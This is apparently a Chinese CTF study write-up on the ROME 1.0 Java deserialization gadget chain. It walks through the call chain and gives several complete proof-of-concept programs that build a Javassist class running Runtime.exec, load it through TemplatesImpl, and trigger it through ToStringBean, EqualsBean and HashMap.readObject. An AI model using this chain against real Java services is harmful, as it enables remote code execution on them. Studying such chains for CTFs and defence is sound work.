Rome1.0
之前见过,当时参考这个ROME反序列化分析 (c014.cn)
yso里的rome1.0利用链如下
TemplatesImpl.getOutputProperties()
NativeMethodAccessorImpl.invoke0(Method, Object, Object[])
NativeMethodAccessorImpl.invoke(Object, Object[])
DelegatingMethodAccessorImpl.invoke(Object, Object[])
Method.invoke(Object, Object...)
ToStringBean.toString(String)
ToStringBean.toString()
ObjectBean.toString()
EqualsBean.beanHashCode()
ObjectBean.hashCode()
HashMap<K,V>.hash(Object)
HashMap<K,V>.readObject(ObjectInputStream)
和cc的对比
说明我从cc中学到了rce的姿势(关于类的动态加载执行恶意代码)
不过我们不需要yso这么长
环境搭建
之前用的jdk11也可以复现这条链子,但是虎符ctf里面的环境是jdk8u,这里试图搭建环境
导入包
pom.xml
大概率用到java反射,增加上去(实际上d3shorter那题里面也有这环境)
<dependencies>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.25.0-GA</version>
</dependency>
<dependency>
<groupId>org.mozilla</groupId>
<artifactId>rhino</artifactId>
<version>1.7.11</version>
</dependency>
</dependencies>
先试个poc @miku233师傅
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import sun.reflect.*;
import javax.xml.transform.Templates;
public class poc {
public static void setValue(Object target, String name, Object value) throws Exception {
Class c = target.getClass();
Field field = c.getDeclaredField(name);
field.setAccessible(true);
field.set(target,value);
}
public static byte[] getTemplatesImpl(String cmd) {
try {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody(" try {\n" +
" Runtime.getRuntime().exec(\"" + cmd +
"\");\n" +
" } catch (Exception ignored) {\n" +
" }");
byte[] bytes = ctClass.toBytecode();
ctClass.defrost();
return bytes;
} catch (Exception e) {
e.printStackTrace();
return new byte[]{};
}
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
setValue(templates,"_name", "aaa");
byte[] code = getTemplatesImpl("calc");
byte[][] bytecodes = {code};
setValue(templates, "_bytecodes", bytecodes);
setValue(templates,"_tfactory", new TransformerFactoryImpl());
//templates.getOutputProperties();
ToStringBean toStringBean = new ToStringBean(Templates.class, new TemplatesImpl());
//toStringBean.toString();
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
//equalsBean.hashCode();
HashMap<Object, Object> map = new HashMap<>();
map.put(equalsBean, "bbb");
setValue(toStringBean, "_obj", templates);
serialize(map);
unserialize("ser.bin");
}
}
然后试图从手写exp的角度进行学习
手写exp
前面从cc3学到了关于类的动态加载执行恶意代码——TemplatesImpl
poc1 和之前cc3结尾一样
public static void setValue(Object target, String name, Object value) throws Exception {
Class c = target.getClass();
Field field = c.getDeclaredField(name);
field.setAccessible(true);
field.set(target,value);
}
public static byte[] getTemplatesImpl(String cmd) {
try {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody(" try {\n" +
" Runtime.getRuntime().exec(\"" + cmd +
"\");\n" +
" } catch (Exception ignored) {\n" +
" }");
byte[] bytes = ctClass.toBytecode();
ctClass.defrost();
return bytes;
} catch (Exception e) {
e.printStackTrace();
return new byte[]{};
}
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
setValue(templates,"_name", "aaa");
//
byte[] code = getTemplatesImpl("calc");
byte[][] bytecodes = {code};
setValue(templates, "_bytecodes", bytecodes);
setValue(templates,"_tfactory", new TransformerFactoryImpl());
templates.newTransformer();
找到代替templates.newTransformer();的
TemplatesImpl.getOutputProperties();
直接注释掉templates.newTransformer();换成上面那个就可以了
TemplatesImpl::getOutputProperties->TemplatesImpl::newTransformer()
下一步
我试图查找用法失败
这里没有看到rome包里的,所以需要我们参照一下poc链分析一下,原来它使用了ToStringBean.toString()
跟进,可以看到有参方法和无参方法
有参方法有invoke
这时候引入一个结论(参考ROME反序列化分析 (c014.cn))
首先要知道怎么直接通过
可控.invoke(可控,NO_PARAMS)
来达成RCE从上面一张图中可以看出
pReadMethod
的name
为getOutputProperties
,且this._obj
是TemplatesImpl
其实在
TemplatesImpl
中可以实现加载_bytecodes
属性中的字节码来达成任意代码执行
private String toString(String prefix) {
StringBuffer sb = new StringBuffer(128);
try {
PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(this._beanClass);
if (pds != null) {
for(int i = 0; i < pds.length; ++i) {
String pName = pds[i].getName();
Method pReadMethod = pds[i].getReadMethod();
if (pReadMethod != null && pReadMethod.getDeclaringClass() != Object.class && pReadMethod.getParameterTypes().length == 0) {
Object value = pReadMethod.invoke(this._obj, NO_PARAMS);
this.printProperty(sb, prefix + "." + pName, value);
}
}
}
} catch (Exception var8) {
sb.append("\n\nEXCEPTION: Could not complete " + this._obj.getClass() + ".toString(): " + var8.getMessage() + "\n");
}
return sb.toString();
}
结合代码,就是pReadMethod要是getOutputProperties,this._obj要是TemplatesImpl,就可以接上前面的poc1了
this._obj
的赋值我们可以看到它的构造函数
于是想到ToStringBean(new beanClass(),templateslmpl)
而关于pReadMethod
结合构造函数发现也是如此,那就赋值ToStringBean(getOutputProperties,templateslmpl)
上面写的不好,第一个参数是beanClass
new ToStringBean(templates.getClass(), templates);
poc2
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import sun.reflect.*;
import javax.xml.transform.Templates;
public class poc {
public static void setValue(Object target, String name, Object value) throws Exception {
Class c = target.getClass();
Field field = c.getDeclaredField(name);
field.setAccessible(true);
field.set(target,value);
}
public static byte[] getTemplatesImpl(String cmd) {
try {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody(" try {\n" +
" Runtime.getRuntime().exec(\"" + cmd +
"\");\n" +
" } catch (Exception ignored) {\n" +
" }");
byte[] bytes = ctClass.toBytecode();
ctClass.defrost();
return bytes;
} catch (Exception e) {
e.printStackTrace();
return new byte[]{};
}
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
setValue(templates,"_name", "aaa");
//
byte[] code = getTemplatesImpl("calc");
byte[][] bytecodes = {code};
setValue(templates, "_bytecodes", bytecodes);
setValue(templates,"_tfactory", new TransformerFactoryImpl());
// templates.newTransformer();
// TemplatesImpl
//
// ToStringBean toStringBean = new ToStringBean(templates.getClass(), templates);
// 上面这条写错了!
ToStringBean toStringBean = new ToStringBean(Templates.class, new TemplatesImpl());
toStringBean.toString();
}
}
然后试图找toString
仔细一想确实,这种常用的类应该随便找个都有使用toString的
然后又看了一会链子,发现是这样
EqualsBean.hashcode
控制obj为那啥就行
看一眼构造函数,直接是public,实现序列化接口,好耶
poc3
// toStringBean.toString();
EqualsBean equalsBean = new EqualsBean(toStringBean.getClass(), toStringBean);
equalsBean.hashCode();
然后随便找个1.可以readObject 2.调用了equalsBean.hashCode(); 就好
搜一下谁调用了它,建议在java.utils里面找
网上找的是HashMap,其实hashtable估计也可以,下面是HashMap.hash
readObject里面有调用hash
在 cc6 中也是由 HashMap.readObject 进入,直接让 key 为 EqualsBean 即可,注意 put 的时候也会触发 hashCode ,所以 put 之后再赋值
HashMap<Object,Object> map = new HashMap<>();
map.put(equalsBean, "bbb");
setValue(toStringBean, "_obj", templates);
serialize(map);
但是这样之后序列化执行,反序列化也执行
结果发现前面写错了(前面已修改)
最终poc
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import sun.reflect.*;
import javax.xml.transform.Templates;
public class poc {
public static void setValue(Object target, String name, Object value) throws Exception {
Class c = target.getClass();
Field field = c.getDeclaredField(name);
field.setAccessible(true);
field.set(target,value);
}
public static byte[] getTemplatesImpl(String cmd) {
try {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody(" try {\n" +
" Runtime.getRuntime().exec(\"" + cmd +
"\");\n" +
" } catch (Exception ignored) {\n" +
" }");
byte[] bytes = ctClass.toBytecode();
ctClass.defrost();
return bytes;
} catch (Exception e) {
e.printStackTrace();
return new byte[]{};
}
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
setValue(templates,"_name", "aaa");
//
byte[] code = getTemplatesImpl("calc");
byte[][] bytecodes = {code};
setValue(templates, "_bytecodes", bytecodes);
setValue(templates,"_tfactory", new TransformerFactoryImpl());
// templates.newTransformer();
// TemplatesImpl
//
ToStringBean toStringBean = new ToStringBean(Templates.class, new TemplatesImpl());
// toStringBean.toString();
EqualsBean equalsBean = new EqualsBean(toStringBean.getClass(), toStringBean);
// equalsBean.hashCode();
HashMap<Object,Object> map = new HashMap<>();
map.put(equalsBean, "bbb");
setValue(toStringBean, "_obj", templates);
serialize(map);
unserialize("ser.bin");
}
}